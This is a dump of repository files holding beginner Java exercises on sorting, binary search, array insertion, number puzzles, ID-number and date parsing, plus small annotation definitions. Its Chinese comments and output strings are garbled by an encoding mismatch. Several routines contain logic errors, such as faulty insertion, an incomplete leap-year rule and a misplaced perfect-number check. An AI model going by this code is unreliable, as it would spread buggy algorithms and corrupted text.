    "content": "package com.jun.plugin.javase.SevDay;\n\nimport java.util.Arrays;\nimport java.util.Scanner;\n\npublic class ArrayAdd {\n\tpublic static void main(String[] args) {\n\t\tint[] arr={12,5,2,7,4,8,17,47,78};\n\t\tArrays.sort(arr);\n\t\tint n=9;\n\t\tSystem.out.println(Arrays.toString(arr));\n\t\tint index=Arrays.binarySearch(arr,n);\n\t\tSystem.out.println(index);\n\t\tarrayAdd(arr,n,index);\n\t}\n\t\n\t/*static void arrAdd(int[] array,int n,int index){\n\t\tint[] arrNew=new int[array.length+1];\n\t\tint flag=0;\n\t\tif(index>=0){\n\t\t\tflag=index+1;\n\t\t\tSystem.out.println(\"�����flag��\"+flag);\n\t\t}\n\t\telse{\n\t\t\tflag=-index-1;\n\t\t\tSystem.out.println(\"ԭ���鲻���ڸ�ֵ�������flag��\"+flag);\n\t\t}\n\t\t\n\t\tfor(int i=0;i<=arrNew.length-1;i++){\n\t\t\tif(i<flag){\n\t\t\t\tarrNew[i]=array[i];\n\t\t\t}\n\t\t\telse if(i==flag){\n\t\t\t\tarrNew[i]=n;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tarrNew[i]=array[i-1];\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(Arrays.toString(arrNew));\n\t}\n\t*/\n\tstatic void arrayAdd(int[] array,int n,int index){\n\t\tint[] arrayA=new int[array.length+1];\n\t\t\n\t\tif(index>=0){\n\t\t\tfor(int i=0;i<=arrayA.length-1;i++){\n\t\t\t\tif(i<index){\n\t\t\t\t\tarrayA[i]=array[i];\n\t\t\t\t}\n\t\t\t\telse if(i==index){\n\t\t\t\t\tarrayA[i+1]=n;\n\t\t\t\t\tarrayA[i]=array[i];\n\t\t\t\t}\n\t\t\t\telse if(i>index){\n\t\t\t\t\tarrayA[i]=array[i-1];\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println(Arrays.toString(arrayA));\n\t\t}\n\t\telse{\n\t\t\tfor(int i=0;i<=arrayA.length-1;i++){\n\t\t\t\tif(i<-index-1){\n\t\t\t\t\tarrayA[i]=array[i];\n\t\t\t\t}\n\t\t\t\telse if(i==-index-1){\n\t\t\t\t\tarrayA[i]=n;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tarrayA[i]=array[i-1];\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println(Arrays.toString(arrayA));\n\t\t}\n\t\t\n\t}\n\t\n\t\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/SevDay/BubbleSort.java",
    "content": "package com.jun.plugin.javase.SevDay;\n\nimport com.jun.plugin.javase.fiveday.Test;\n\npublic class BubbleSort {\n\tpublic static void main(String[] args) {\n\t\tint[] arr={10,32,67,5,78,43};\n\t\t\n\t\t/*bubbleSort(arr);\n\t\tbubbleSortT(arr);\n\t\tbubbleSorts(arr);\n\t\tselectSort(arr);\n\t\tselectSortT(arr);\n\t\treverse(arr);*/\n\t\tselectSorts(arr);\n\t}\n\t\n\t\n\tstatic void bubbleSort(int[] array){\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tfor(int j=0;j<array.length-i-1;j++){\n\t\t\t\tif(array[j]>array[j+1]){\n\t\t\t\t\tint temp=array[j];\n\t\t\t\t\tarray[j]=array[j+1];\n\t\t\t\t\tarray[j+1]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(array);\n\t}\n\t\n\tstatic void bubbleSortT(int[] array){\n\t\tfor(int i=array.length-1;i>=0;i--){\n\t\t\tfor(int j=array.length-i-1;j>=1;j--){\n\t\t\t\tif(array[j]<array[j-1]){\n\t\t\t\t\tint temp=array[j];\n\t\t\t\t\tarray[j]=array[j-1];\n\t\t\t\t\tarray[j-1]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(array);\n\t}\n\n\tstatic void bubbleSorts(int[] array){\n\t\tfor(int i=array.length-1;i>=0;i--){\n\t\t\tfor(int j=0;j<i;j++){\n\t\t\t\tif(array[j]>array[j+1]){\n\t\t\t\t\tint temp=array[j];\n\t\t\t\t\tarray[j]=array[j+1];\n\t\t\t\t\tarray[j+1]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(array);\n\t}\n\t\n\tstatic void selectSort(int[] array){\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tfor(int j=i+1;j<array.length;j++){\n\t\t\t\tif(array[i]>array[j]){\n\t\t\t\t\tint temp=array[i];\n\t\t\t\t\tarray[i]=array[j];\n\t\t\t\t\tarray[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(array);\n\t}\n\t\n\tstatic void selectSortT(int[] array){\n\t\tfor(int i=array.length-1;i>=0;i--){\n\t\t\tfor(int j=i-1;j>=0;j--){\n\t\t\t\tif(array[j]>array[i]){\n\t\t\t\t\tint temp=array[i];\n\t\t\t\t\tarray[i]=array[j];\n\t\t\t\t\tarray[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(array);\n\t}\n\n\tstatic void selectSorts(int[] array){\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tfor(int j=array.length-1;j>i;j--){\n\t\t\t\tif(array[j]<array[i]){\n\t\t\t\t\tint temp=array[i];\n\t\t\t\t\tarray[i]=array[j];\n\t\t\t\t\tarray[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(array);\n\t}\n\t\n\tstatic void reverse(int[] array){\n\t\tfor(int i=0;i<array.length/2;i++){\n\t\t\tint temp=array[i];\n\t\t\tarray[i]=array[array.length-1-i];\n\t\t\tarray[array.length-1-i]=temp;\n\t\t}\n\t\tprintArrays(array);\n\t}//��ת����\n\t\n\tstatic void printArrays(int[] array){\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tif(i==array.length-1){\n\t\t\t\tSystem.out.println(array[i]+\"]\");\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(array[i]+\",\");\n\t\t\t}\n\t\t}\n\t}//�������\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/SevDay/DateTimeFormatter.java",
    "content": "package com.jun.plugin.javase.SevDay;\n\nimport java.text.DateFormat;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\npublic class DateTimeFormatter {\n\tpublic static void main(String[] args) throws ParseException {\n\t\tString idNumber=\"500102199510153465\";\n\t\tString burnDate=idNumber.substring(6,14);\n\t\tString sex=idNumber.substring(16,17);\n\t\tint sex1=Integer.parseInt(sex);\n\t\t\n\t\tif(sex1%2==0){\n\t\t\tSystem.out.println(\"�Ա�\"+\"Ů\");\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"�Ա�\"+\"��\");\n\t\t}\n\t\t\n\t\tDateFormat dateFormat1=new SimpleDateFormat(\"yyyyMMdd\");\n\t\tDate myDate1=dateFormat1.parse(burnDate);\n\t\tString yearN=String.format(\"%tF\",myDate1);\n\t\tSystem.out.println(\"�������ڣ�\"+yearN);\n\t\t\n\t\t\n\t\tString str=\"1271826981@163.com\";\n\t\tString regex=\"\\\\d{8,13}@\\\\w+(\\\\.com)\";\n\t\t\n\t\t\n\t\tif(str.matches(regex)){\n\t\t\tSystem.out.println(\"�Ϸ���\");\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"���Ϸ�\");\n\t\t}\n\t\t\n\t\tint[][] arr=new int[3][2];\n\t\tarr[0]=new int[]{1,2,3};\n\t\tarr[1]=new int[]{4,5,6};\n\t\tarr[2]=new int[]{7,8,9};\n\t\t\n\t\tSystem.out.print(arr+\",\");\n\t\tSystem.out.println(arr[0]+\",\"+arr[1]+\",\"+arr[2]);\n\t\t\n\t\tint num=28728;\n\t\tString str2=Integer.toString(num);\n\t\tSystem.out.println(str2);\n\t\t\n\t\tStringBuilder bf=new StringBuilder(\"hello\");\n\t\t\n\t\tbf.insert(5,\"world\");\n\t\t\n\t\tSystem.out.println(bf);\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/SevDay/HomeWork.java",
    "content": "package com.jun.plugin.javase.SevDay;\n\nimport com.jun.plugin.javase.sixday.CommonMethod;\n\npublic class HomeWork {\n\tpublic static void main(String[] args) {\n\t\tint[] arr=new int[5];\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tint a=(int)(Math.random()*9)+0;\n\t\t\tarr[i]=a;\n\t\t}\n\t\tSystem.out.print(\"�������Ϊ��\");\n\t\t\n\t\tCommonMethod.printArrays(arr);//����������\n\t\t\n\t\tboolean have=false;\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tfor(int j=i+1;j<arr.length;j++){\n\t\t\t\tif(arr[i]==arr[j]){\n\t\t\t\t\thave=true;\n\t\t\t\t\tbreak;\n\t\t\t\t\t//System.out.println(\"�����ظ�\");\n\t\t\t\t\t//return;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(have==true){\n\t\t\tSystem.out.println(\"�����ظ�\");\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"�������ظ�\");\n\t\t}\n\t\t//System.out.println(\"�������ظ�\");\n\n\t\t\n\t\t\n\t\tint[] arr1={0,1,2,3,4,5,6,7,8,9};\n\t\tCommonMethod.bubbleSort(arr1);//��������\n\t\tarr1[0]=0;\n\t\tarr1[arr1.length-1]=0;//��ֵ�����СΪ0\n\t\tdouble sum=CommonMethod.arraySum(arr1);//�������\n\t\t\n\t\tSystem.out.println(\"ȥ��һ����߷ֺ�һ����ͷ֣������ܷ��ǣ�\"+sum);\n\t\tdouble avg=sum/(arr1.length-2);\n\t\tSystem.out.println(\"���ֵ����յ÷���:\"+avg);\n\t\t\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/SevDay/HomeWork2.java",
    "content": "package com.jun.plugin.javase.SevDay;\n\npublic class HomeWork2 {\n\tpublic static void main(String[] args) {\n\t\t/*int sum=fa(11);\n\t\tSystem.out.println(sum);*/\n\t\t\n\t\t\n\t\t\n\t\tfor(int i=101;i<=200;i++){\n\t\t\tboolean flag=true;\n\t\t\tfor(int j=2;j<i;j++){\n\t\t\t\tif(i%j==0){\n\t\t\t\t\tflag=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(flag==true){\n\t\t\t\tSystem.out.print(i+\",\");\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\t\n\t\tfor(int i=100;i<=999;i++){\n\t\t\tint a=i/100;\n\t\t\tint b=i/10%10;\n\t\t\tint c=i%10;\n\t\t\t\n\t\t\tif(a*a*a+b*b*b+c*c*c==i){\n\t\t\t\tSystem.out.println(\"ˮ�ɻ���\"+i);\n\t\t\t}\n\t\t}\n\t\t\n\t\tint m=40,n=60;\n\t\tint min=2;\n\t\tint mul=1;\n\t\tint max=m>n?m:n;\n\t\tfor(int i=0;i<=max;i++){\n\t\t\tif(m%min==0&&n%min==0){\n\t\t\t\tm=m/min;\n\t\t\t\tn=n/min;\n\t\t\t\tmul*=min;\n\t\t\t\t\n\t\t\t}\n\t\t\telse{\n\t\t\t\tmin++;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tSystem.out.println(\"��С������\"+mul+\",\");\n\t\tSystem.out.print(\"���Լ��\"+mul*m*n);\n\t\tSystem.out.println();\n\t\t\n\t\t\n\t\tint x=90,minZ=2;\n\t\tSystem.out.print(x+\"=\");\n\t\twhile(minZ<=x){\n\t\t\tif(x%minZ==0){\n\t\t\t\tSystem.out.print(\"*\"+minZ);\n\t\t\t\tx=x/minZ;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tminZ++;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\tfor(int i=1;i<=1000;i++){\n\t\t\tint sum=0;\n\t\t\tfor(int j=1;j<i;j++){\n\t\t\t\tif(i%j==0){\n\t\t\t\t\tsum+=j;\n\t\t\t\t\tif(sum==i){\n\t\t\t\t\t\tSystem.out.print(i+\",\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\tint count=10;\n\t\tdouble height=100,sumHeight=100;\n\t\tfor(int i=1;i<count;i++){\n\t\t\theight=height/2;\n\t\t\tsumHeight=sumHeight+height*2;\n\t\t}\n\t\tSystem.out.println(height);\n\t\tSystem.out.println(sumHeight);\n\t\t\n\t\tint countT=0;\n\t\tfor(int i=1;i<5;i++){\n\t\t\tfor(int j=1;j<5;j++){\n\t\t\t\tfor(int k=1;k<5;k++){\n\t\t\t\t\tif(i!=j&&i!=k&&j!=k){\n\t\t\t\t\t\tSystem.out.print(i+\"\"+j+\"\"+k+\",\");\n\t\t\t\t\t\tcountT++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.print(\"һ��\"+countT);\n\t\tSystem.out.println();\n\t\t\n\t\tint year=2012,mouth=8,date=17,sum=0;\n\t\tint[] arrMouth={0,29,31,30,31,30,31,31,30,31,30,31};\n\t\tfor(int i=0;i<mouth;i++){\n\t\t\tif(year%4==0&&year%100!=0){\n\t\t\t\tarrMouth[1]=29;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tarrMouth[1]=28;\n\t\t\t}\n\t\t\tsum+=arrMouth[i];\n\t\t}\n\t\tSystem.out.println(\"�ǵ���ĵ�\"+(sum+date)+\"��\");\n\t\t\n\t\t/*for(int i=1;i<=9;i++){\n\t\t\tfor(int j=1;j<=i;j++){\n\t\t\t\tSystem.out.print(j+\"*\"+i+\"=\"+j*i+\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tint totle=0,rest=1;\n\t\tfor(int i=9;i>0;i--){\n\t\t\ttotle=(rest+1)*2;\n\t\t\trest=totle;\n\t\t}\n\t\tSystem.out.println(totle);\n\t\t\n\t\tfor(int i=1;i<5;i++){\n\t\t\tfor(int j=1;j<6-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=1;k<=i;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tfor(int i=1;i<4;i++){\n\t\t\tfor(int j=0;j<=i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=1;k<5-i;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tfor(int i=0;i<5;i++){\n\t\t\tfor(int k=0;k<5-i;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tfor(int j=0;j<=i*2;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tfor(int i=0;i<4;i++){\n\t\t\tfor(int k=0;k<i+2;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tfor(int j=0;j<=6-2*i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}*/\n\t\t\n\t\t\n\t\t\n\t\t/*for(int i=0;i<5;i++){\n\t\t\tfor(int j=0;j<5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<=i*2-1;k++){\n\t\t\t\tSystem.out.print(\"&\");\n\t\t\t}\n\t\t\tSystem.out.println(\"*\");\n\t\t}\n\t\t\n\t\tfor(int i=0;i<=5;i++){\n\t\t\tfor(int j=0;j<i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=8;k>=i*2-1;k--){\n\t\t\t\tSystem.out.print(\"#\");\n\t\t\t}\n\t\t\tSystem.out.println(\"*\");\n\t\t}*/\n\t\t\n\t\t/*for(int k=1;k<7;k++){\n\t\t\tfor(int i=1;i<7-k;i++){\n\t\t\t\tSystem.out.print(\"$\");\n\t\t\t}\n\t\t\tSystem.out.print(\"*\");\n\t\t\tfor(int i=1;i<=(k-1)*2-1;i++){\n\t\t\t\tSystem.out.print(\"@\");\n\t\t\t}\n\t\t\tif(k!=1){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tfor(int k=5;k>0;k--){\n\t\t\tfor(int i=0;i<6-k;i++){\n\t\t\t\tSystem.out.print(\"&\");\n\t\t\t}\n\t\t\tSystem.out.print(\"*\");\n\t\t\tfor(int i=1;i<=(k-1)*2-1;i++){\n\t\t\t\tSystem.out.print(\"#\");\n\t\t\t}\n\t\t\tif(k!=1){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\t\n\t\tfor(int i=0;i<5;i++){\n\t\t\tfor(int j=0;j<5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<i*2-1;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\tfor(int i=0;i<5;i++){\n\t\t\tfor(int k=0;k<i;k++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int j=0;j<(5-i)*2-1;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}*/\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\tstatic int fa(int n){\n\t\tif(n<=2){\n\t\t\treturn n=1;\n\t\t}\n\t\telse{\n\t\t\treturn fa(n-1)+fa(n-2);\n\t\t}\n\t}\n\t\n\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/SevDay/Index.java",
    "content": "package com.jun.plugin.javase.SevDay;\n\nimport com.jun.plugin.javase.sixday.CommonMethod;\n\npublic class Index {\n\tpublic static void main(String[] args) {\n\t\t/*int[] arr={12,4,3,7,89,54,6,1};\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tint num=arr[i];\n\t\t\tint index=i;\n\t\t\tfor(int j=i+1;j<arr.length;j++){\n\t\t\t\tif(num>arr[j]){\n\t\t\t\t\tnum=arr[j];\n\t\t\t\t\tindex=j;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(index!=i){\n\t\t\t\tint temp=arr[i];\n\t\t\t\tarr[i]=arr[index];\n\t\t\t\tarr[index]=temp;\n\t\t\t}\n\t\t}\n\t\tCommonMethod.printArrays(arr);\n\t\t//ͨ�������±�������������*/\t\t\n\t\t\n\t\tint[] arr={12,21,15,3,4,13,43};\n\t\tCommonMethod.bubbleSort(arr);\n\t\tCommonMethod.printArrays(arr);\n\t\tint n=12;\n\t\tint index=0;\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tif(n>=arr[i]&&n<arr[i+1]){\n\t\t\t\tSystem.out.println(\"��������\"+arr[i]+\"��\"+arr[i+1]+\"֮��\");\n\t\t\t\tindex=i+1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if(n>=arr[arr.length-1]){\n\t\t\t\tSystem.out.println(\"���������������ֵ\"+arr[arr.length-1]+\"֮��\");\n\t\t\t\tindex=arr.length;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if(n<arr[0]){\n\t\t\t\tSystem.out.println(\"��������������Сֵ\"+arr[0]+\"֮ǰ\");\n\t\t\t\tindex=0;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"�²��������ǣ�\"+n+\",\"+\"��������λ�ã�\"+index);\n\t\t\n\t\t\n\t\t\n\t\t/*int[] arr1={5,5,5,5,5,7,7,7};\n\t\t//System.out.println(halfSearch(arr1,6));//����\n\t\tSystem.out.println(halfSearch_2(arr1,4));//����ֵ�±�\n*/\t\t\n\t}\n\t\n\t\n\t\n\t static int halfSearch(int[] arr,int key){\n\t\t int min,max,mid;\n\t\t min=0;\n\t\t max=arr.length-1;\n\t\t mid=(min+max)/2;\n\t\t while(key!=arr[mid]){\n\t\t\t if(key>arr[mid]){\n\t\t\t\t min=mid+1;\n\t\t\t }else if(key<arr[mid]){\n\t\t\t\t max=mid-1;\n\t\t\t }\n\t\t\t if(min>max){\n\t\t\t\t return -1;\n\t\t\t }\n\t\t\t mid=(min+max)/2;\n\t\t\t \n\t\t }\n\t\treturn mid;\n\t}//���ֲ��ҡ���һ�γ��ֵ��±�\n\t \n\t \n\t static int halfSearch_2(int[] arr,int key){\n\t\t int min,max,mid;\n\t\t min=0;\n\t\t max=arr.length-1;\n\t\t while(min<=max){\n\t\t\t mid=(min+max)/2;\n\t\t     if(key>arr[mid]){\n\t\t\t     min=mid+1;\n\t\t     }else if(key<arr[mid]){\n\t\t\t     max=mid-1;\n\t\t     }else{\n\t\t\t     return mid;\n\t\t     }\n\t\t }\n\t\t System.out.println(\"ԭ�������޸�ֵ\");\n\t\t return min-1;\n\t}//���ַ���������\n\t \n\t \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/SevDay/StringO.java",
    "content": "package com.jun.plugin.javase.SevDay;\n\nimport java.sql.Array;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Arrays;\nimport java.util.Date;\n\nimport javax.swing.text.DateFormatter;\n\nimport com.jun.plugin.javase.sixday.CommonMethod;\n\npublic class StringO {\n\tpublic static void main(String[] args) {\n\t\tString str=\"www.baidu.com.www.3g.com.cn\";\n\t\tString[] str2=str.split(\"\\\\.\");\n\t\tfor(String a:str2){\n\t\t\tSystem.out.print(\"[\"+a+\"]\");\n\t\t}\n\t\tSystem.out.println();\n\t\tSystem.out.println(str.contains(\".b\"));\n\t\t\n//\t\tDate date=new Date();\n//\t\tString year=String.format(\"%tY\",date);\n//\t\tString mouth=String.format(\"%tB\",date);\n//\t\tString day=String.format(\"%td\",date);\n//\t\tSystem.out.print(year+\",\");\n//\t\tSystem.out.print(mouth+\",\");\n//\t\tSystem.out.print(day);\n//\t\tSystem.out.println();����ʱ���ʽ��\n\t\t\n\t\tint[] str3={2,4,1,6,5,9};\n\t\tArrays.fill(str3,1,3,0);//[fromIndex,toIndex);\n\t\tSystem.out.println(Arrays.toString(str3));\n\t\t\n\t\tString idNumber=\"500102199510152168\";\n\t\tString arayBurn=idNumber.substring(0,6);\n\t\tString burnDate=idNumber.substring(6,14);\n\t\tSystem.out.println(\"��������\"+burnDate);\n\t\t\n\t\t//SimpleDateFormat sdt=new SimpleDateFormat(\"yyyy-MM-dd\");\n\t\t\n\t\t//Date date=new Date();\n\t\t//String s=\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t/*int[] str4={12,3,6,8,43};\n\t\tint[] str5={4,12,6,8,13};\n\t\tint[] str6=new int[str4.length+str5.length];\n\t\tSystem.arraycopy(str4, 0, str6, 0, str4.length);\n\t\tSystem.arraycopy(str5, 0, str6, str4.length, str5.length);\n\t\tArrays.sort(str6);\n\t\tSystem.out.println(Arrays.toString(str6));*/\n\t\t/*int index=Arrays.binarySearch(str6,6);\n\t\tint index1=Arrays.binarySearch(str6,12);\n\t\tSystem.out.println(index);\n\t\tSystem.out.println(index1);*/\n\t\t\n\t\tSystem.out.println(\"==========================\");\n\t\t\n\t\t/*int a=12,b=9,c=11;\n\t\tSystem.out.println(Math.abs(a-b));\n\t\tSystem.out.println(Math.abs(b-c));\n\t\tSystem.out.println(Math.abs(a-c));*/\n\t\t\n\t\t/*int[] str7={7,4,9,23,41,2,8,54,120,89,19};\n\t\tint[] str8=new int[str7.length+1];\n\t\tint n=40;\n\t\tArrays.sort(str7);\n\t\tint index=halfSearch_2(str7,n);\n\t\tSystem.out.println(index);\n\t\tSystem.arraycopy(str7, 0, str8, 0, index);\n\t\tstr8[index]=n;\n\t\tSystem.arraycopy(str7, index, str8, index+1, str7.length-index);\n\t\tSystem.out.println(\"ԭʼ���������:\"+Arrays.toString(str7));\n\t\tSystem.out.println(\"�������ֺ�:\"+Arrays.toString(str8));*/\n\t\t\n\t\t/*int[] strY={2,3,67,8,12,32,9,7};\n\t\tArrays.sort(strY);\n\t\tint n=9;\n\t\tint index=Arrays.binarySearch(strY,n);\n\t\tint[] strN=new int[strY.length+1];\n\t\tif(index<0){\n\t\t\tindex=-index-1;\n\t\t}\n\t\tSystem.out.println(\"�²���ֵ�±꣺\"+index);\n\t\tSystem.out.println(\"ԭʼ���������:\"+Arrays.toString(strY));\n\t\tSystem.arraycopy(strY, 0, strN, 0, index);\n\t\tstrN[index]=n;\n\t\tSystem.arraycopy(strY, index, strN, index+1, strY.length-index);\n\t\tSystem.out.println(\"������:\"+Arrays.toString(strN));*/\n\t\t\n\t\t/*int[] arr={2,9,15,28,30};\n\t\tint[] arr1=new int[arr.length+1];\n\t\tint m=30;\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tarr1[i]=arr[i];\n\t\t}\n\t\tSystem.out.println(Arrays.toString(arr1));\n\t\tSystem.out.println(\"-------------\");\n\t\tfor(int i=0;i<arr1.length-1;i++){\n\t\t\tif(m>arr1[arr1.length-1-1]){\n\t\t\t\tarr1[arr1.length-1]=m;\n\t\t\t}\n\t\t\tif((arr1[i]<m)&&(arr1[i+1]>=m)){\n\t\t\t\tfor(int j=i;j<arr1.length-1;j++){\n\t\t\t\t\tarr1[j+1]=arr[j];\n\t\t\t\t}\n\t\t\t\tarr1[i+1]=m;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif(m<=arr1[0]){\n\t\t\t\tfor(int j=0;j<arr1.length-1;j++){\n\t\t\t\t\tarr1[j+1]=arr[j];\n\t\t\t\t}\n\t\t\t\tarr1[0]=m;\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tarr1[0]=m;\n\t\t\t\tarr1[i+1]=arr[i];\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(Arrays.toString(arr1));//�����в���������\n*/\t\t\n\t\t\n\t\t\n\t\t/*int[] arr={12,5,2,7,4,8,17,47,78};\n\t\tArrays.sort(arr);\n\t\tSystem.out.println(Arrays.toString(arr));\n\t\tint n=89;\n\t\tint index=Arrays.binarySearch(arr,n);\n\t\tSystem.out.println(index);\n\t\tinsert(arr,n,index);*/\n\t\t\n\t\t\n\t\t/*int[] arr2={12,4,32,1,6,9,45};\n\t\tArrays.sort(arr2);\n\t\tSystem.out.println(Arrays.toString(arr2));\n\t\tint index2=Arrays.binarySearch(arr2,400);\n\t\tSystem.out.println(index2);*/\n\t\t\n\t\t\n\t}\n\tstatic int halfSearch_2(int[] arr,int key){\n\t\t int min,max,mid;\n\t\t min=0;\n\t\t max=arr.length-1;\n\t\t while(min<=max){\n\t\t\t mid=(min+max)/2;\n\t\t     if(key>arr[mid]){\n\t\t\t     min=mid+1;\n\t\t     }else if(key<arr[mid]){\n\t\t\t     max=mid-1;\n\t\t     }else{\n\t\t\t     return mid;\n\t\t     }\n\t\t }\n\t\t return min;\n\t}\n\n\t\n\tstatic void insert(int[] arr,int n,int index){\n\t\tint[] arr2=new int[arr.length+1];\n\t\tif(index>=0){\n\t\t\tfor(int i=0;i<arr2.length-1;i++){\n\t\t\t\tif(i<index){\n\t\t\t\t\tarr2[i]=arr[i];\n\t\t\t\t}\n\t\t\t\telse if(index==i){\n\t\t\t\t\tarr2[i]=arr[i];\n\t\t\t\t\tarr2[i+1]=n;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tarr2[i+1]=arr[i];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\tfor(int i=0;i<arr2.length;i++){\n\t\t\t\tif(i<-index-1){\n\t\t\t\t\tarr2[i]=arr[i];\n\t\t\t\t}\n\t\t\t\telse if(i==-index-1){\n\t\t\t\t\t//arr2[i]=arr[i];\n\t\t\t\t\tarr2[i]=n;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tarr2[i]=arr[i-1];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(Arrays.toString(arr2));\n\t}\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/annotation/AnnotationDefineForTestFunction.java",
    "content": "package com.jun.plugin.javase.annotation;\n\nimport java.lang.annotation.*;\n\n/**\n * 定义annotation\n * \n */\n// 加载在VM中，在运行时进行映射\n@Retention(RetentionPolicy.RUNTIME)\n// 限定此annotation只能标示方法\n@Target(ElementType.METHOD)\npublic @interface AnnotationDefineForTestFunction {\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/annotation/RequestForEnhancement.java",
    "content": "package com.jun.plugin.javase.annotation;\n\npublic @interface RequestForEnhancement {\n\tint id();\n\n\tString synopsis();\n\n\tString engineer() default \"[unassigned]\";\n\n\tString date() default \"[unimplemented]\";\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/annotation/UsingAnnotation.java",
